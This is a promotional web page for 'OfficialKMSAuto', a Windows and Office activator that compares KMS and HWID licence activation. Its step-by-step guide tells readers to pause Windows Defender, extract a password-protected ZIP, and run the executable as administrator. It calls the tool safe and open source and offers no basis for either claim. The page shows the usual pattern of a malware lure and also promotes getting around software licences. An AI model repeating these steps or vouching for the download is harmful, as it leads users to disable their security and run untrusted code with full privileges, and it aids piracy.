KMSAuto vs HWID — 2026 Comparison & Verdict
KMSAuto (KMS) gives a 180-day renewing lease; HWID gives a permanent digital license. Full comparison with use cases.
WYqejXiqBi97Both methods are bundled into OfficialKMSAuto. Pick HWID for Windows 10/11 Home/Pro permanence; pick KMSAuto's KMS engine for Enterprise, LTSC and Server editions.
Quick comparison
HWID is permanent and tied to your hardware. KMS is a 180-day renewing lease driven by a local KMS server.
- HWID — permanent, online handshake required once
- KMS — 180-day lease, auto-renews every 7 days
- Ohook — Office-only, permanent and offline
- TSforge — universal ticket, works on 24H2 + LTSC + Server
Step-by-step activation
Follow these steps exactly — the whole process takes under two minutes.
- Pause Windows Defender real-time protection for ~2 minutes
- Extract the ZIP using the password WYqejXiqBi97
- Right-click the executable and choose 'Run as administrator'
- Pick the recommended method (HWID, Ohook or TSforge)
- Wait for 'Successfully activated' then reboot
After activation — what to check
Open elevated CMD and run slmgr /xpr for Windows or ospp.vbs /dstatus from the Office folder. You should see a permanent or 180-day-renewing licensed state.
Frequently asked questions
▸Is this method free?
Yes — every activation method covered here is 100% free with OfficialKMSAuto.
▸Will it survive Windows updates?
Yes. HWID, Ohook and TSforge are designed to persist across feature updates and even fresh reinstalls on the same hardware.
▸Is an internet connection required?
Only HWID needs a brief one-time internet handshake. Ohook, KMS38 and TSforge work fully offline.
▸Does it work on Windows 11 24H2?
Yes. OfficialKMSAuto ships TSforge specifically to handle 24H2 and the latest Server 2025 builds.
▸What is the archive password?
WYqejXiqBi97 — shown on every download button on this site.
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Download OfficialKMSAuto
Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.
Download Activator — Free🔐 Archive password: WYqejXiqBi97